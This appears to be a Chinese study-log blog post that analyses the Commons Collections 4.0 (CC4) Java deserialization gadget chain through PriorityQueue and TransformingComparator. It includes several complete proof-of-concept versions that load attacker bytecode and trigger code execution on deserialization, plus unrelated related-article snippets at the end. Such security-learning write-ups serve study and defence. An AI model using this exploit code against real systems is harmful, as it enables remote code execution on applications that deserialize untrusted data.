CC4学习记录

🌸 CC4

CC4要求的commons-collections的版本是4.0的大版本。

其实后半条链是和cc3一样的,但是前面由于commons-collections进行了大的升级,所以出现了新的前半段链子。

配置文件:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
🌸 链子分析

还是从transform开始分析!查找调用transform方法的地方:

发现在comparators对比器中,TransformingComparator类中的compare方法中调用了transform方法!这是一个经典的比较器。

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

继续向前查找谁又调用了compare方法,当然查找的方法还是一样的,这里的搜索结果就比较多了!

我们期望最好的结果就是某一个类中的readObject方法中调用了compare方法。这里就直接看结果,在PriorityQueue类中的readObject方法中调用了compare方法!

PriorityQueue类实现了Serializable接口,可以进行序列化。

其代码如上,可以看到在PriorityQueue类中的readObject方法的最后,调用了heapify方法。继续跟进到heapify方法里面:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

该方法中通过for循环去调用了siftDown方法!for循环中的i初始化为size右移3位。继续跟进到siftDown方法中:

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

siftDown方法中,通过if (comparator != null)判断comparator是否为空,如果不为空的话,就调用siftDownUsingComparator方法,继续跟进到这个方法中:

最后在siftDownUsingComparator方法中,通过comparator.compare()调用了compare方法。从而最终实现了代码执行(后面的半条链子就接上了cc3的链子)。

该类的构造器也是可以直接访问的,传入的参数就是comparator

到这里的话,就是比较清晰了:

PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->siftDownUsingComparator->TransformingComparator#compare

后续的话就是接上了cc3的链子!

🌸 编写POC

那么就可以尝试写POC了:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
//        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
        

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        serialization(priorityQueue);
        deserialization();

    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

但是当我们运行结束的时候,发现并没有执行任何代码。直接就结束了,也没有报错信息~

🌸 解决问题

因为我们想要尝试去执行PriorityQueuereadObject方法,所以我们直接尝试下断点到heapify

然后我们尝试进行调试:

跟进到这里我们可以发现size的结果是0,接下来执行的是for循环的第一次,i的结果就是size>>>1,在java中,>>>的含义是将一个数的二进制数右移几位,并在左侧空出来的位置,使用0进行填充。因此由于这里的size就是0,所以往右移动1位,还是0,然后i=0-1,得到了i=-1,由于i>=0这个条件并没有满足,所以整个for循环就没有进去!

2的二进制为00000010 -------> 00000001(右移一位的结果就是1),所以我们可以让size的结果是大于等于2的结果,此时就会进入for循环啦!这里有两个方法:

  1. 首先这里我们看到sizeprivate修饰的,所以我们可以尝试直接通过反射来修改size的参数值。
  2. 第二种方式就是可以通过往队列里面放入两个值,也是可以的!
🍂 往队列里面存放值解决

首先我们可以直接往priorityQueue里面存放队列,add方法用来增加队列,传递Transformer就可以了,所以我们尝试传递两个ConstantTransformer


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        priorityQueue.add(new ConstantTransformer(1));
        priorityQueue.add(new ConstantTransformer(2));
        serialization(priorityQueue);
//        deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

但是发现代码在序列化的时候,就执行了弹计算器的操作!继续调试:我们发现在我们add的时候(断点直接下载add方法中),发现调用了offer方法:

(第二次add的时候,由于前面已经是add了一个值,所以size变成了1,然而初始化int i = size的时候,i的值就变成了 1 )继续跟进到offer方法中,然而在offer方法中,其完整的代码如下:

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

这里就又调用了siftUp方法,继续跟进:

跟进到siftUp方法中发现:

调用了siftUpUsingComparator,再次跟进:

然而在siftUpUsingComparator方法中,居然就调用了compare方法,导致了我们的代码执行!所以这里需要通过反射改掉前面的某一个值,这个类似于前面的cc,比如改掉chainedTransformer,或者comparator里面的值就好了!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        //解决for循环不进入的问题
        priorityQueue.add(new ConstantTransformer(1));
        priorityQueue.add(new ConstantTransformer(2));
        Class<? extends TransformingComparator> aClass = comparator.getClass();
        Field transformerField = aClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(comparator,chainedTransformer);
//        serialization(priorityQueue);
        deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}
🍂 反射解决

直接通过反射获取PriorityQueue这个类的原型类,然后进行获取私有的属性,最后在修改这个属性的参数。


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
       Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
       Field sizeField = aClass.getDeclaredField("size");
       sizeField.setAccessible(true);
       sizeField.set(priorityQueue,2);
        serialization(priorityQueue);
       deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

 以上代码便可以成功的执行代码!弹出计算器!(这里不需要反射修改chainedTransformer,或者comparator的原因是,我们通过反射的方法修改了size的参数值,并没有利用add方法,也就不会在序列化的时候,就调用compare方法,也就不会在序列化的过程中就弹出计算器了)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/917871.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【linux】网络基础 ---- 数据链路层

用于两个设备(同一种数据链路节点)之间进行传递 数据链路层解决的问题是&#xff1a;直接相连的主机之间&#xff0c;进行数据交付 1. 认识以太网 "以太网" 不是一种具体的网络, 而是一种技术标准&#xff1a; 既包含了数据链路层的内容, 也包含了一些物理层的内容…

5. ARM_指令集

概述 分类 汇编中的符号&#xff1a; 指令&#xff1a;能够编译生成一条32位机器码&#xff0c;并且能被处理器识别和执行伪指令&#xff1a;本身不是指令&#xff0c;编译器可以将其替换成若干条指令伪操作&#xff1a;不会生成指令&#xff0c;只是在编译阶段告诉编译器怎…

小程序租赁系统开发为企业提供高效便捷的租赁服务解决方案

内容概要 在这个数字化飞速发展的时代&#xff0c;小程序租赁系统应运而生&#xff0c;成为企业管理租赁业务的一种新选择。随着移动互联网的普及&#xff0c;越来越多的企业开始关注如何利用小程序来提高租赁服务的效率和便捷性。小程序不仅可以为用户提供一个快速、易用的平…

计算机组成原理——高速缓存

标记表示——主存块号和缓存块之前的一一对应关系

赛元免费开发板申请

在作者网上冲浪的时候&#xff0c;突然发现了一个国内的良心企业&#xff0c;虽然现在不是很有名&#xff0c;但是他现在是有一个样品申请的活动&#xff0c;他就是国内的Redfine新定义&#xff0c;他申请的板子是用的赛元MCU&#xff0c;作者本着有板子就要申请的原则&#xf…

Ubuntu 的 ROS 操作系统 turtlebot3 SLAM仿真

引言 SLAM&#xff08;同步定位与地图构建&#xff09;在Gazebo仿真环境中的应用能够模拟真实机器人进行环境建图和导航。通过SLAM仿真&#xff0c;开发者可以在虚拟环境中测试算法&#xff0c;而不必依赖真实硬件&#xff0c;便于调试与优化。 Gazebo提供了多个虚拟环境&…

【解决】Layout 下创建槽位后,执行 Image 同步槽位位置后表现错误的问题。

开发平台&#xff1a;Unity 6.0 编程语言&#xff1a;CSharp 编程平台&#xff1a;Visual Studio 2022   一、问题背景 | 开发库存系统 图1 位置同步失败问题 图2 位置正常同步效果表现 黑框 作用于 UnityEngine.UI.GridLayoutGruop&#xff0c;形成 4x6 布局&#xff0c;如…

红日靶场-1详细解析(适合小白版)

红日靶场涉及内网知识&#xff0c;和前期靶场不太一样&#xff0c;前期靶场大部分都是单个靶机获得root权限&#xff0c;而这一次更综合&#xff0c;后期也会继续学习内网知识&#xff0c;继续打红日靶场&#xff0c;提高自己的综合技能。 环境搭建 首先本题的网络拓扑结构如…

LabVIEW大数据处理

在物联网、工业4.0和科学实验中&#xff0c;大数据处理需求逐年上升。LabVIEW作为一款图形化编程语言&#xff0c;凭借其强大的数据采集和分析能力&#xff0c;广泛应用于实时数据处理和控制系统中。然而&#xff0c;在面对大数据处理时&#xff0c;LabVIEW也存在一些注意事项。…

小米路由器用外网域名访问管理界面

本文在Redmi AX3000 (RA81)设置&#xff0c;其他型号路由器的管理界面端口可能各不相同。 开始之前需要保证路由器SSH功能正常&#xff0c;如果没有SSH可以参考这里。 1. 给WAN口开放80端口 可以通过下载mixbox的firewall插件或者其他防火墙插件开放端口。 2. 把域名解析到路…

【AI图像生成网站Golang】雪花算法

AI图像生成网站 目录 一、项目介绍 二、雪花算法 三、JWT认证与令牌桶算法 四、项目架构 五、图床上传与图像生成API搭建 六、项目测试与调试(等待更新) 雪花算法 雪花算法 (Snowflake) 是一种高效、可扩展的分布式唯一ID生成算法&#xff0c;最早由 Twitter 开发&…

【计算机网络】协议定制

一、结构化数据传输流程 这里涉及协议定制、序列化/反序列化的知识 对于序列化和反序列化&#xff0c;有现成的解决方案&#xff1a;①json ②probuff ③xml 二、理解发送接收函数 我们调用的所有发送/接收函数&#xff0c;根本就不是把数据发送到网络中&#xff01;本质都是…

用sqlmap工具打sqli-labs前20关靶场

这个星期我们用手动注入打了前20关靶场&#xff0c;今天我们用sqlmap直接梭哈前20关 1.介绍sqlmap sqlmap是一个自动化的SQL注入工具&#xff0c;其主要功能是扫描&#xff0c;发现并利用给定的URL和SQL注入漏洞。 2.下载和使用sqlmap 官方下载地址&#xff1a;GitHub - sq…

Unreal engine5实现类似鬼泣5维吉尔二段跳

系列文章目录 文章目录 系列文章目录前言一、实现思路二、具体使用蓝图状态机蓝图接口三、中间遇到的问题 前言 先看下使用Unreal engine5实现二段跳的效果 一、实现思路 在Unreal Engine 5 (UE5) 中使用蓝图系统实现类似于《鬼泣5》中维吉尔的二段跳效果&#xff0c;可以通…

【大数据学习 | flume】flume之常见的sink组件

Flume Sink取出Channel中的数据&#xff0c;进行相应的存储文件系统&#xff0c;数据库&#xff0c;或者提交到远程服务器。Flume也提供了各种sink的实现&#xff0c;包括HDFS sink、Logger sink、Avro sink、File Roll sink、HBase sink&#xff0c;。 ​ Flume Sink在设置存…

C++构造函数详解

构造函数详解&#xff1a;C 中对象初始化与构造函数的使用 在 C 中&#xff0c;构造函数是一种特殊的成员函数&#xff0c;它在创建对象时自动调用&#xff0c;用来初始化对象的状态。构造函数帮助我们确保每个对象在被创建时就处于一个有效的状态&#xff0c;并且在不传递任何…

最小的子数组(leetcode 209)

给定一个正整数数组&#xff0c;找到大于等于s的连续的最小长度的区间。 解法一&#xff1a;暴力解法 两层for循环&#xff0c;一个区间终止位置&#xff0c;一个区间起始位置&#xff0c;找到大于等于s的最小区间长度&#xff08;超时了&#xff09; 解法二&#xff1a;双指…

应用系统开发(10) 钢轨缺陷的检测系统

涡流检测系统框图 其中信号发生器为一定频率的正弦信号作为激励信号&#xff0c;这个激励信号同时输入给交流电桥中的两个检测线圈&#xff0c;将两个线圈输出的电压差值作为差分信号引出至差分放大电路进行放大&#xff0c;经过放大后信号变为低频的缺陷信号叠加在高频载波上…

结构化需求分析与设计

前言: 感觉书本上和线上课程, 讲的太抽象, 不好理解, 但软件开发不就是为了开发应用程序吗?! 干嘛搞这么抽象,对吧, 下面是个人对于软件开发的看法, 结合我的一些看法, 主打简单易懂, 当然,我一IT界小菜鸟, 对软件开发的认识也很浅显, 这个思维导图也仅仅是现阶段我的看…

列出D3的所有交互方法,并给出示例

D3.js 提供了丰富的交互方法&#xff0c;可以用来增强图表的用户交互体验。以下是一些常用的交互方法及其示例&#xff1a; 1. 鼠标事件 on("mouseover", function) 用途: 当鼠标悬停在元素上时触发。示例:svg.selectAll(".bar").on("mouseover&qu…